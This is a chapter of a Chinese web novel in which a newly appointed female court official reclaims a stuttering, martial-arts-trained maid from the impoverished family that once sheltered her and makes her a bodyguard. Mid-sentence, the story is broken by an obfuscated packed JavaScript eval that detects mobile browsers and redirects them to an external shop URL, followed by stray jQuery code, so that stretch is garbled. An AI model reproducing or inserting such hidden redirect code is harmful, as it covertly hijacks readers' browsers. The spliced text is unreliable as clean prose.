文趣网 > 其他小说 > 砚上谋 > 6. 六
    汤家大小姐正杵在天井下,正窝着一肚子邪火无处发,看到信步而来的砚舒,呵呵一声冷笑,

    “哟,我当是谁呢,原来是我朝的女官大人啊!真是飞上枝头,越发有章法了,进门都不知道通报一声,真当这儿是自己家呢?!”

    对于这种冷嘲热讽,砚舒习以为常,她小心翼翼地绕过满院子晒着的稻壳,环视着满院狼藉,“我倒是想通报,外头没人理睬~连门房也给辞了?”

    汤家日渐没落,鼎盛时期家仆众多,后来被逐一遣散,现在连个门房也没有了。汤家在京都没有祖产,就这一处宅子,还是十多年平息镇南大将军叛乱有功,朝廷赏得。

    圣上的恩宠是把双刃剑,风光的时候不必细说,风光不再了,这么大个院子不好养,又不敢卖,进退两难。

    这不,昔日娇滴滴的汤小姐,娘胎里带出来的金汤匙也被人拿去当了,不得不做些粗活帮衬家里。

    烈日炎炎,她心中正当凄惨,转身看到砚推官这般华彩,悲愤交加,忍不住口不择言。

    在汤小姐看来,全怪砚舒这发卖不出去的下贱蹄子!非要偷跑出去考什么女官!这些杂活儿本来都应该是她的!

    “真是出息了,忘本了!”汤小姐冷冷一笑,“当年你如丧家之犬无处可去,要不是我家收留你,你能有今天?!”

    “嗯…”,砚舒倒也不急,“这倒是,要不让令尊上道折子,把我供出去吧。”

    “你!!”

    汤小姐气结,这话简直是恶毒!她爹哪还有资格上折子。

    “呵呵,从古至今女子为官有哪个长久?估计撑不了几天就滚到哪位大员的被窝儿里了!皇上不过给一根鸡毛,你就真拿起来当令箭了?!”

    听得蔡二在后头眉头紧锁,再这么口无遮拦下去,这一家还得败。

    “我说这位…,”

    「刁民」二字,老蔡险些脱口而出。

    “砚大人乃朝廷命官,光天化日之下被你如此折辱,你是想戴枷具还是想挨板子了?还有,那是陛下的圣谕,你胆敢说是鸡毛?!”

    再往下,老蔡也不敢说了。鸡毛出在鸡身上,皇帝又不是鸡,莫要惹祸。

    砚舒明显听懂了蔡二的路子,眉梢微挑,不敢笑。说话间堂屋走出来一位妇人,“砚姑娘来了。”

    汤夫人姿容憔悴了不少,想当年大战汤老爷的那群外室时,都没见她这么疲乏,可见这半年费心劳力,过得不太好。

    但砚舒不是来叙旧的,跟这对母女无甚话聊。快晌午了,该带走的带走,赶紧去填饱肚子是正经,蔡兄不是要请吃饭么。

    只不过这话不能照直说,她一抱拳,“汤夫人久阔,这些年来多亏汤家照顾…”

    汤夫人仍旧一副笑模样,面皮之下的真容却在撇嘴,这小妮子是翅膀硬了,连「婶娘」都不叫一声,居然跟她行男子之礼,还打起了官腔,真是皮痒。

    不过谁让人家现在官袍加身呢,若不是怕女儿祸从口出,她巴不得女儿再挤兑这丫头几句她再现身。

    既然出来了,场面话就得说,汤夫人热乎乎道,“客气什么,这还不是应该的…”

    这句话还没落地上,便被砚舒急吼吼地接住了,“哦?汤夫人说「是应该的」,也就是不求回报咯?”

    “呃~”

    汤夫人一时语塞,这丫头好生无礼。

    “那必然是,”汤家主母支支吾吾的说法被老蔡适时捕捉放大,“耳听为实,我便是人证。”

    汤小姐气不打一出来,这二人一唱一和地,把堂审那一套搬她家来了。但这男的虎背熊腰,拳头握起来有碗大,她有火也不敢发。

    “汤夫人真是菩萨心肠,那烦请将我母亲留给我的黄金头面还给我吧。”

    想当初砚舒可不是空手投奔汤家,包袱里的金银细软足够她一个女儿家吃几年的。

    “…这…”

    汤夫人张口结舌,当年这妮子一把鼻涕一把泪地说,那点金银权当饭钱,后来家里无以为继,首当其冲便把那些卖了,现在上哪儿找去?

    要搁以前,她非让家丁把这忘恩负义的贱蹄子叉出去不可,可现在家丁一一遣散,砚舒身后还跟着半截妖塔,她如何敢轻举妄动。

    明知她拿不出来,砚舒叹了口气,“金银不过身外之物,不如这样,把汤婆子送我吧,别的我也不要了。”

    她话一出口,老蔡在后头虎躯一震。

    砚推官可真是个妙人,大热天儿的折腾这么一趟,他还以为有什么要事要办,费这个劲,就为了来拿个汤婆子?!

    纯金还是纯银的?若只是普普通通的,他都能给她找一麻袋,何必跑这儿来看人脸色。

    蔡二匪夷所思,但好部下的第一要务便是服从,他立刻帮腔道,“快!把汤婆子拿出来!”

    他已经备好了菜,得赶紧回去烹炒,时间长了不新鲜了,影响了发挥,有损他大厨的美誉。

    汤夫人嘿嘿一声干笑,暗自思忖了片刻,“好吧。”

    须臾之后,回廊里一阵叮叮咣咣,只见一高高壮壮的粗使丫头脚下带风,风驰电掣而来。

    见到砚舒,她两眼放光,却说不出话,憋了半天,方才结结巴巴开问道,“你你你你你~~~~??”

    砚舒鼻子发酸,想说的估计很长,半天也你不出来。一别数月,没砚舒分口粮给她,这丫头肯定吃不饱,此番相见,瘦了好多。

    “收拾收拾东西,跟我走。”

    那丫头大喜过望,转身跑出去几步,脚下一顿,又折了回来,“没没没~东西~可可~可拿,走走走走走….走!吧!”

    “把舌头捋直了再说吧你!”

    汤小姐老大不乐意了,家里能干的丫头没剩几个,砚舒一回来就要走了最夯的一个,“这死丫头买回来还花了好几百文呢~”

    半两银子都没到,怎么好意思提。蔡二幡然醒悟,原来这壮丫头叫「汤婆子」,这名儿起得,也忒粗糙了。

    想来这汤家也不是什么成器的人家,高门大户家的丫头谁不叫个花儿朵儿玲儿翠儿的,哪儿有叫这个的。

    老蔡是个厨子,论起来也是个下人,物伤其类,他横眉立目道,

    “青天白日,当家主母已然应下的事,闲杂人等哪儿那么多屁话?!不想放人直说,还银子!还不起的话休怪我报官!砚大人的那么大~一块黄金丢了!!”

    黑熊般的男人黑起脸来尤其不像善类,汤夫人慌忙进屋,翻出了汤婆子的卖身契,“喏,拿走。”

    砚舒接过那片泛黄的纸片,拉起汤婆子的手腕,拔腿就走。

    汤小姐难以置信,她小碎步赶过来几步抢白道,“就这么走了?!我家好歹养了你十年!没有功劳也有苦劳吧!?”

    大太阳底下,砚舒身板儿笔直,“十年…我在你家白做了十年的苦工,我的苦劳用一一细数一下么?”

    她登登登走出几步,又猛然回头,紧跟在她身后的汤婆子结结实实地撞上了她肩膀,她也顾不上疼,

    “奉劝你汤家恪守法度,别落在我砚某人的手上,否则下场堪忧。”

    说罢再不回头,留汤夫人面沉似水一动不动,汤小姐在原地跳脚。

    老蔡先一步套好了马车,回头瞥了一眼汤宅那扇斑驳陆离的大门,“砚大人,恩公,要不我替您出口恶气?”

    砚舒在汤府的日子肯定不好过,要不然不至于这么咬牙切齿。

    砚舒只想速速离开,“不必。心领了。”

    窝在汤家,好过流落街头,凡事讲究个功过相抵。

    烈日当头,砚大人大费周章领出来的大丫头就那么板板正正地站在车边。想起她的名字,蔡二觉得倒也贴合本人,只是愈发炎热胸闷,“姑娘快上车吧。”

    汤婆子摇了摇头,马车焉是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514468|203133||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她这等人坐的?她长这么大就没坐过马车,从来只会跟在车后头跑。

    砚舒叹了口气,撩着车帘道,“你先上来,我有话跟你说,让别人听见了惹祸。”

    汤婆子一怔,四下看了看,并无可疑之人,方才提起一口气,脚尖轻点地,一跃而起。

    老蔡大惊。

    他正准备给这丫头让开车门,她竟从他身后飞身而过,悄无声息,车厢抖都没抖一下!

    如此轻盈的胖丫头,不对,应该说,轻功如此了得的胖子,蔡二从未见过。

    车厢内,砚舒眉头紧蹙,“她们又不给你饭吃?”

    “…不不不不光是不不不给给给我,都都都没得得得吃…”

    汤家落魄,都不过好是真的,但汤婆子尤其不会好过。

    半年前,砚舒偷偷跑出来应考,差那么一点点就被汤老爷抓回去了,多亏汤婆子脚下生风,趁着夜色拎起她跳上了房顶。

    “我现在入朝为官,俸禄虽然微薄,但若精打细算,肯定能让你顿顿吃饱,而且官家给的地方够住,不用出去赁房子。你想不想跟着我,替我做事?”

    大丫头抿着唇,面无表情,砚舒不想她为难,“你的卖身契我讨过来了,回去就帮你写放良文书,以后你便是良籍。若不愿抛头露面,你自便也行,不必勉强。”

    汤婆子一声长叹,“能能能跟着你你你~一一一辈辈辈子为为为奴,我我我我也在在~所不不不不….”

    “好好好,在所不辞,我知道了。”

    “…你、看,”汤婆子涨红了脸,“我我我我~连连…连~话啊啊啊啊~都说说说不清清清~~”

    “你连话都说不清楚,如何能帮我?”

    “对。”

    砚舒跟汤小姐不一样,她打断她从来都不是嫌她烦,而是怕她窘。

    “大理寺的门楣是风光,可我这份差事,危机四伏,以后少不了得罪人,说不定还会招来杀身之祸…我得找个护卫,还得是个女人,贴身保护我,必要时替我挡刀,你最合适…”

    门帘外的老蔡听得直撇嘴,把差事说得玄乎其玄,恨不得随时都要挨刀掉脑袋,谁还敢接??

    可汤婆子这憨憨直女偏偏就吃这一套。

    以武将粗人自居者,自卑与自大常常会莫名交替。你给她金银财宝,她说不定觉得自己不值那个价,但你若要她抛头颅洒热血,那正中她的豪迈胸怀。

    壮哉!我大奇武士!

    汤婆子神色肃穆,郑重地点了点头。

    “至于说话,你不必着急,又不是哑巴,怕什么。你口吃这毛病我观察多年了,以后不管话多长,你就一个字一个字往外蹦,别急于一口气说出来。”

    “那、像、什、么、话!”

    汤婆子下意识地反驳,又下意识地尝试。

    “这不就成了!”

    砚舒险些拍巴掌。

    汤婆子也是又惊又喜,“你、怎、么、不、早、点、教、我?”

    “早点教你,让汤家知道了,能这么痛快放人?她们不放你,我用谁去?”

    汤婆子在汤府吃不开,最主要的就是沟通太费劲。汤夫人本就有喘病,听这丫头说两句话,险些要被憋死。

    也多亏这丫头不招人待见,否则那一身的童子功怎能瞒到现在,又怎会便宜了砚推官。

    马车嘎油嘎油地向前,老蔡尽量让车子企稳,耳朵竖起来老高,静听着车内人相谈。该说不说,砚大人「招贤纳士」这一出,实在是有趣。

    车停在沈府的后门,蔡二跳下车施礼,“砚大人,烦请进院子里稍事歇息,饭菜马上就得!”

    说罢要去搬下马凳,可有那壮丫头跟随左右,哪儿还用得着那些。

    但见她轻轻跃下马车,壮硕的身形没扬起一丝尘埃。左右巡视一番,确认安全无虞,像拎小鸡仔一般捏着砚舒的手臂,将她平放到了地上。